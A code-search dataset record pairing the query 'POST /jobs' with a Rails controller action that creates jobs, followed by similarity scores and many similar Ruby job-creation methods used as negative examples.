"0.75673014",
"0.7469147",
"0.7464972",
"0.7366836",
"0.7366749",
"0.73515695",
"0.73502165",
"0.7330446",
"0.73140454",
"0.72499764",
"0.7229009",
"0.7205115",
"0.7193177",
"0.7193177",
"0.7193177",
"0.7193177",
"0.7193177",
"0.7193177",
"0.7193177",
"0.7193177",
"0.7193177",
"0.71896756",
"0.71777856",
"0.7171143",
"0.7132983",
"0.71295923",
"0.71231914",
"0.7117808",
"0.711181",
"0.7109016",
"0.7085696",
"0.7080362",
"0.7067303",
"0.7052365",
"0.7051296",
"0.7031823",
"0.70048356",
"0.699022",
"0.69722795",
"0.696663",
"0.69591683",
"0.69576085",
"0.69524026",
"0.6923013",
"0.6899352",
"0.6899352",
"0.6899352",
"0.68910426",
"0.68885326",
"0.6884274",
"0.6880492",
"0.6861174",
"0.67997706",
"0.6795318",
"0.67947656",
"0.6791452",
"0.6791452",
"0.67783546",
"0.6760707",
"0.6754989",
"0.67507666",
"0.6746211",
"0.6739438",
"0.67080873",
"0.67037535",
"0.66794753",
"0.66739905",
"0.6664099",
"0.6656212",
"0.6653385",
"0.66503537",
"0.6644765",
"0.6643182",
"0.6640757",
"0.6640627",
"0.6638444",
"0.6630336",
"0.66270053",
"0.66164815",
"0.66161394",
"0.66126263",
"0.66085464",
"0.66085464",
"0.66085464",
"0.66085464",
"0.6602121",
"0.6600949",
"0.65998",
"0.65956056"
] |
0.71955156
|
23
|
POST /jobs POST /jobs.json
|
def create
if current_user.nil?
redirect_to login_path and return false
end
@job = current_user.jobs.new(params[:job])
@time_too_fast = ''
#time_later # defined in application controller
hidden_field # defined in application controller
respond_to do |format|
if [email protected]?
@hidden = nil
@time_too_fast = nil
format.html do
2.times do
@job.references.build
end
render action: "new"
end
format.json { render json: @job.errors, status: :unprocessable_entity }
end
#puts @job.valid?
#p @hidden
if ((@hidden.blank? || @hidden.nil?) && @time_too_fast.blank?) && @job.save
#p @job
flash[:notice] = t('jobs_controller.create.success')
format.html { redirect_to @job}
format.json { render json: @job, status: :created, location: @job }
else
format.html do
2.times do
@job.references.build
end
render action: "new"
end
format.json { render json: @job.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @job = current_user.posted_jobs.build(job_params)\n if @job.save\n render json: @job\n else\n render json: @job.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n job = Job.create(job_params)\n render json: job\n end",
"def new_job(job, username, password)\n puts \"Requesting quote for job:\"\n puts JSON.pretty_generate(job)\n puts \"\"\n res = post_json('jobs.json', job, username, password)\n if res['error'] || res['status'] == 'error'\n puts \"Job rejected (error #{res['status']}): #{res['error'] || res['reason']}\"\n return\n end\n\n puts \"Gnip's job desc:\"\n puts summarise_job(res)\nend",
"def create_job(job:, params: {})\n response = HTTParty.post(\"#{@host}/api/jobs\", body: {job: job, api_key: @api_key}.merge(params))\n \n return response\n end",
"def create\n\t\tjob = Job.new\n\t\tjob.user_id = current_user.id\n\t\tjob.http_method \t= params[:http_method]\n\t\tjob.http_uri \t\t= params[:http_uri]\n\t\tjob.http_host \t\t= params[:http_host]\n\t\tjob.http_headers\t= params[:http_headers]\n\t\tjob.http_data\t\t= params[:http_data]\n\n\t\t# Set job type to bruteforce by default. This will change, but\n\t\t# for now we don't care about responses.\n\t\tjob.attack_type\t\t\t= \"repeat\"\n\n\t\t# Set status to pending by default -- this may change in future\n\t\tjob.status \t\t\t= \"pending\"\n\n\t\tjob.save\n\n\t\trender :json => job.to_json\n\tend",
"def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n @job.status = 'listed'\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n JobsWorker.perform_async(@job.id, @job.server.id)\n flash[:success] = 'Job was successfully created.'\n format.html { redirect_to jobs_path }\n format.json { render :show, status: :created, location: @job }\n else\n flash[:error] = 'Please fill all fields correctly !!'\n format.html { redirect_to root_url }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@job = Job.new(params[:job])\n\n\t\trespond_to do |format|\n\t\t\tif @job.save\n\t\t\t\tformat.html { redirect_to @job, notice: 'Job was successfully created.' }\n\t\t\t\tformat.json { render json: @job, status: :created, location: @job }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @job.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @job = @user.jobs.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: \"Job was successfully created.\" }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(id, job)\n connection.post do |req|\n req.url \"job/#{id}\"\n req.body = job\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_company.jobs.build(params[:job])\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Vaga criada com sucesso' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n arg = params[:email]\n counter = Job.enqueue(arg)\n render :status => :accepted, :json => { jobId: counter }\n end",
"def create\n @myjob = Myjob.new(myjob_params)\n\n respond_to do |format|\n if @myjob.save\n format.html { redirect_to @myjob, notice: 'Myjob was successfully created.' }\n format.json { render :show, status: :created, location: @myjob }\n else\n format.html { render :new }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.user = current_user\n if @job.save\n render json: { redirect_url: job_url(@job), notice: \"Thanks for posting! Your job is now pending review.\" }\n else\n render json: @job.errors\n end\n end",
"def create_batch_job(job_id)\n request = Net::HTTP::Put.new(\"/jobs/#{job_id}\")\n response = http.request(request)\n handle_response({ request_method: request.method, request_path: request.path }, response)\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_job(json_payload)\n conn = @client.post do |req|\n req.url '/api/v2/job/create'\n req.headers[\"Authorization\"] = @token\n req.body = json_payload\n end\n conn.body\n end",
"def create\n\n printer_ids = JSON.parse(job_params[:printer])\n\n printers = Printer.where(id: printer_ids)\n\n job_params_fixed = job_params\n\n job_params_fixed[:printer] = nil\n\n\n printers.each do |printer|\n\n @job = Job.new(job_params_fixed)\n\n @job.printer = printer\n\n @job.status = \"Unassigned\"\n @job.save\n end\n\n redirect_to root_path\n\n # respond_to do |format|\n # if @job.save\n # format.html { redirect_to @job, notice: 'Job was successfully created.' }\n # format.json { render :show, status: :created, location: @job }\n # else\n # format.html { render :new }\n # format.json { render json: @job.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @job_post = JobPost.new(job_post_params)\n\n if @job_post.save\n render :show, status: :created, location: @job_post\n else\n render json: @job_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @job = current_user.jobs.new(job_params)\n respond_to do |format|\n if @job.save\n \ttrack_activity @job\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @postjob = Postjob.new(postjob_params)\n\n respond_to do |format|\n if @postjob.save\n format.html { redirect_to @postjob, notice: 'Postjob was successfully created.' }\n format.json { render :show, status: :created, location: @postjob }\n else\n format.html { render :new }\n format.json { render json: @postjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def create\n @job = current_member.jobs.new(job_params)\n @job.published_at = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @create_job = CreateJob.new(create_job_params)\n\n respond_to do |format|\n if @create_job.save\n format.html { redirect_to @create_job, notice: 'Create job was successfully created.' }\n format.json { render :show, status: :created, location: @create_job }\n else\n format.html { render :new }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def jobs\n\t\t# ...\n\tend",
"def create_batch\n begin\n # create the new batch\n batch = BatchJob.new\n batch.name = params[:name]\n batch.job_type = params[:type_id]\n batch.ocr_engine_id = params[:engine_id]\n batch.font_id = params[:font_id]\n batch.parameters = params[:params]\n batch.notes = params[:notes]\n batch.save!\n \n # populate it with pages from the selected works\n json_payload = ActiveSupport::JSON.decode(params[:json])\n json_payload['works'].each do | work_id |\n pages = Page.where(\"pg_work_id = ?\", work_id)\n pages.each do | page |\n job = JobQueue.new\n job.batch_id = batch.id\n job.page_id = page.pg_page_id\n job.job_status = 1\n job.work_id=work_id\n job.save!\n end\n end\n\n # get a new summary for the job queue\n status = get_job_queue_status()\n render :json => ActiveSupport::JSON.encode(status), :status => :ok \n \n rescue => e\n render :text => e.message, :status => :error\n end \n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@job = Job.new(params[:job])\n @job = current_user.jobs.new(params[:job])\n \n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.saved_jobs.where(job_id: params[:saved_job][:job_id]).count > 0\n respond_to do |format|\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_error') }\n end\n else\n @saved_job = current_user.saved_jobs.new(saved_job_params)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_success') }\n format.json { render :show, status: :created, location: @saved_job }\n\n else\n format.html { render :new }\n format.json { render json: @saved_job.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n @job.company_id = current_company.id\n\n if @job.save\n response_message = {:message => \"Job created successfully.\", :job => @job}\n else\n response_message = {:message => \"Job creation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message}\n format.json { render :json => response_message }\n end\n end",
"def record_job(job_json)\n job = JSON.parse(job_json)\n processing_jobs.create!(\n :account_id => account_id,\n :cloud_crowd_id => job['id'],\n :title => title,\n :remote_job => job\n )\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def create\n ensure_authenticated!\n\n job = Grid5000::Job.new(job_params)\n Rails.logger.info \"Received job = #{job.inspect}\"\n raise BadRequest, \"The job you are trying to submit is not valid: #{job.errors.join('; ')}\" unless job.valid?\n\n job_to_send = job.to_hash(destination: 'oar-2.4-submission')\n Rails.logger.info \"Submitting #{job_to_send.inspect}\"\n\n result = @oarapi.create_job(job_to_send)\n\n job_uid = JSON.parse(result)['id']\n location_uri = uri_to(\n resource_path(job_uid),\n :in, :absolute\n )\n\n job = OAR::Job.expanded.includes(:job_types, :job_events, :gantt).find(job_uid)\n job.links = links_for_item(job)\n\n render_opts = {\n methods: %i[resources_by_type assigned_nodes],\n location: location_uri,\n status: 201\n }\n render_result(job, render_opts)\n end",
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def create\n @job = Job.new(job_params)\n \n respond_to do |format|\n if @job.save\n format.html { redirect_to '/admin/'[email protected]_s , notice: \"Job was successfully created.\" }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pending_job = PendingJob.new(pending_job_params)\n current_stage = 'E'\n @pending_job.time_queued = Time.now\n @pending_job.current_stage = current_stage\n @pending_job.current_stage_started = Time.now\n\n respond_to do |format|\n if @pending_job.save\n EFinishJob.perform_in(1.minutes, @pending_job.id, @pending_job.course, @pending_job.assignment, @pending_job.username)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully created.' }\n format.json { render :show, status: :created, location: @pending_job }\n else\n format.html { render :new }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.creator = current_user\n @job.tasks.each do |task|\n if @job.job_type.present?\n task.type = \"#{@job.job_type.to_s.singularize.capitalize}Task\"\n end\n task.creator = current_user\n task.worker ||= current_user\n task.payoff_amount_cents ||= 0\n end\n respond_to do |format|\n if @job.save\n @job.tasks.each{ |task| task.set_price }\n format.html {\n if params[:commit].to_s.match(/save.*new/i)\n redirect_to new_job_path(client_id: @job.client_id, job_type: @job.job_type), notice: 'Job was successfully created. Create another one below...' \n else\n redirect_to @job, notice: 'Job was successfully created.'\n end\n }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_to_queue\n @list = current_user.list\n if @list.add_job(params[:id])\n respond_to do |format|\n format.json { render :json => @list.jobs }\n end\n else\n flash[:errors] = \"Sorry, something went wrong\"\n redirect_to :back\n end\n end",
"def create\n @job.user_id = current_user.id\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n format.json { render :json => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @jobs = Job.new(params[:accepted_jobs])\n\n @jobs.user_id = current_user.id\n\n pp @jobs\n\n # respond_to do |format|\n # if @jobs.save\n # format.html { redirect_to home_path, notice: 'Request was successfully created.' }\n # format.json { render json: @jobs, status: :created, location: home_path }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @jobs.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @job = Job.new(job_params)\n @job.user_id = current_user.id\n @job.organization_id = current_user.organization_id\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @launched_job = LaunchedJob.new(launched_job_params)\n\n respond_to do |format|\n if @launched_job.save\n format.html { redirect_to @launched_job, notice: 'Launched job was successfully created.' }\n format.json { render json: @launched_job, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @launched_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params.merge({\n owner_id: current_user_id,\n owner_name: current_user_name,\n user_id: current_user_db_record.id,\n remote: job_params[:remote]\n }))\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @act_job = ActJob.new(act_job_params)\n\n respond_to do |format|\n if @act_job.save\n format.html { redirect_to @act_job, notice: 'Act job was successfully created.' }\n format.json { render :show, status: :created, location: @act_job }\n else\n format.html { render :new }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_job_content_sample(client)\n job_multipart = {\n :file => File.new($full_path),\n 'num copies' => 10\n }\n\n response = client['jobs'].post job_multipart\n\n p ''\n p 'Submit a new job'\n p response\nend",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { head :created, :location => job_url(@job) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def create\n @job_item = @job.job_items.build(params[:job_item])\n\n respond_to do |format|\n if @job_item.save\n format.html { redirect_to [@job, @job_item], notice: 'Job item was successfully created.' }\n format.json { render json: @job_item, status: :created, location: @job_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_user.jobs.build(params[:job])\n if @job.save\n flash[:success] = \"Job Added!\"\n redirect_to root_url\n else\n render 'new'\n end\n\n end",
"def create\n @job = Vger::Resources::Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to company_job(:company_id => params[:company_id], :id => @job.id), notice: 'Job was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def job_params\n params.require(:job).permit(:name, :client_id, :description, :quantity, :datein, :duedate, :completeper, :expectedin, :completed, :status, :comment)\n end",
"def create\n @job = current_user.jobs.new( job_params )\n\n if @job.save\n redirect_to @job, notice: 'Job created.'\n else\n render :new\n end\n end",
"def jobs_post(body, opts = {})\n data, status_code, headers = jobs_post_with_http_info(body, opts)\n return data\n end",
"def create\n ensure_authenticated!\n\n job = Grid5000::Job.new(payload)\n Rails.logger.info \"Received job = #{job.inspect}\"\n raise BadRequest, \"The job you are trying to submit is not valid: #{job.errors.join(\"; \")}\" unless job.valid?\n job_to_send = job.to_hash(:destination => \"oar-2.4-submission\")\n Rails.logger.info \"Submitting #{job_to_send.inspect}\"\n\n url = uri_to(\n site_path(params[:site_id])+\"/internal/oarapi/jobs.json\", :out\n )\n http = EM::HttpRequest.new(url).post(\n :timeout => 20,\n :body => job_to_send.to_json,\n :head => {\n 'X-Remote-Ident' => @credentials[:cn],\n 'Content-Type' => media_type(:json),\n 'Accept' => media_type(:json)\n }\n )\n continue_if!(http, :is => [201,202])\n\n job_uid = JSON.parse(http.response)['id']\n location_uri = uri_to(\n resource_path(job_uid),\n :in, :absolute\n )\n\n job = OAR::Job.expanded.find(\n job_uid,\n :include => [:job_types, :job_events, :gantt]\n )\n job.links = links_for_item(job)\n \n render_opts = {\n :methods => [:resources_by_type, :assigned_nodes],\n :location => location_uri,\n :status => 201\n }\n respond_to do |format|\n format.g5kitemjson { render render_opts.merge(:json => job) }\n format.json { render render_opts.merge(:json => job) }\n end\n end",
"def create\n @job = Job.new(job_params)\n\n if params[:job][:staff].present?\n params[:job][:staff].each do |s|\n @job.staff << Staff.where(id: s)\n end\n end\n if params[:job][:contractor].present?\n @job.contractor = Contractor.find(params[:job][:contractor])\n end\n if params[:job][:date_completed].present? and params[:job][:date_payment_recv].present? and params[:job][:date_completed] <= Time.now and params[:job][:date_payment_recv] <= Time.now\n @job.status = 0\n end\n puts @job.inspect\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = @employer.jobs.build(job_params)\n respond_to do |format|\n if @job.save\n format.html { redirect_to edit_employer_path(@employer,anchor: \"jobs_tab\"), notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n flash[:notice] = 'Job Created' if @job_category.jobs.create params[:job]\n respond_with @job.job_category, @job\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def get_jobs(url)\n result = JSON.parse(get_data(url))\n job_list = []\n result[\"jobs\"].each do |job|\n job = JenkinsJob.new job[\"name\"], job[\"color\"], job[\"url\"]\n job_list << job\n end\n job_list\nend",
"def new\n @device = Device.find(params[:device_id]) \n @job = @device.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def job_params\n params.require(:job).permit(:name, :target, :current, :status)\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to verify_job_url(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n param_ids = params[:job][:param_ids]\n if param_ids\n param_ids.each do |param_id|\n @job.params << Param.find(param_id) unless param_id.blank? || param_id.to_i == 0\n end\n end\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n puts (@job.description)\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @worker_job = WorkerJob.new(worker_job_params)\n\n respond_to do |format|\n if @worker_job.save\n format.html { redirect_to @worker_job, notice: 'Worker job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @worker_job }\n else\n format.html { render action: 'new' }\n format.json { render json: @worker_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_folio = JobFolio.new(params[:job_folio])\n\n respond_to do |format|\n if @job_folio.save\n format.html { redirect_to @job_folio, notice: 'Job folio was successfully created.' }\n format.json { render json: @job_folio, status: :created, location: @job_folio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_folio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def create\n job = Job.find(params[:job_id])\n @saved_job = SavedJob.create(:job_id => params[:job_id], :user_id => current_user().id)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to @saved_job, :notice => 'Saved job was successfully created.' }\n format.js\n format.json { render :json => @saved_job, :status => :created, :location => @saved_job }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @saved_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n if @job.save\n flash[:success] = 'Job was successfully created.'\n redirect_to @job \n else\n render :new\n end\n end",
"def create\n @findjob = Findjob.new(findjob_params)\n\n respond_to do |format|\n if @findjob.save\n format.html { redirect_to @findjob, notice: 'Findjob was successfully created.' }\n format.json { render :show, status: :created, location: @findjob }\n else\n format.html { render :new }\n format.json { render json: @findjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n job = Job.new\n job.job_name = params[:job_name]\n job.description = params[:description]\n job.quote = params[:quote].to_f\n job.running_total = 0\n \n if job.save\n jobConnect = JobToUser.new\n jobConnect.job_id = job.id\n jobConnect.user_id = current_user.id\n jobConnect.save\n redirect_to(\"/services/show\", :notice => 'Job was successfully created.')\n else\n redirect_to(\"/services/show\", :notice => 'Job Failed to Save. Try Again Later.')\n end\n end",
"def create\n # @nanny_job = NannyJob.new(nanny_job_params)\n @nanny_job = current_user.nanny_jobs.build(nanny_job_params)\n\n respond_to do |format|\n if @nanny_job.save\n format.html { redirect_to @nanny_job, notice: 'Nanny job was successfully created.' }\n format.json { render :show, status: :created, location: @nanny_job }\n else\n format.html { render :new }\n format.json { render json: @nanny_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_batch_job(job_id)\n request_path = \"/jobs/#{job_id}/queue\"\n request_body = \"submit\"\n response = http.request_post(request_path, request_body)\n handle_response({ request_method: 'POST', request_path: request_path, request_body: request_body }, response)\n end",
"def create\n job_id = ProductScraperJob.perform_async current_user.id, params[:url]\n respond_to do |format|\n format.html { redirect_to root_path, notice: \"Successfully queued..\" }\n format.json { render json: { id: job_id }.to_json }\n end\n end",
"def create\n @printjob = Printjob.new(printjob_params)\n\n\n respond_to do |format|\n if @printjob.save\n format.html { redirect_to @printjob, notice: 'Printjob was successfully created.' }\n format.json { render :show, status: :created, location: @printjob }\n else\n format.html { render :new }\n format.json { render json: @printjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def job_params\n params.require(:job).permit(:title, :description, :name, :email, :category, :deadline)\n end",
"def create\n @emp_job = EmpJob.new(params[:emp_job])\n\n respond_to do |format|\n if @emp_job.save\n format.html { redirect_to @emp_job, notice: 'Emp job was successfully created.' }\n format.json { render json: @emp_job, status: :created, location: @emp_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @emp_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_job(job)\n begin\n response = RestClient::Request.execute(\n method: :post,\n url: build_jobs_url,\n payload: job.to_codem_json,\n timeout: EBU::NETWORK_TIMEOUT,\n open_timeout: EBU::NETWORK_TIMEOUT\n )\n if response.code == 202\n if (obj = JSON.parse(response.to_str))\n obj[\"job_id\"]\n else\n raise \"Job #{job.id} was created on transcoder #{self.id}, but no job ID was returned.\"\n end\n else\n nil\n end\n rescue Timeout::Error => e\n nil\n rescue => e\n nil\n end\n end",
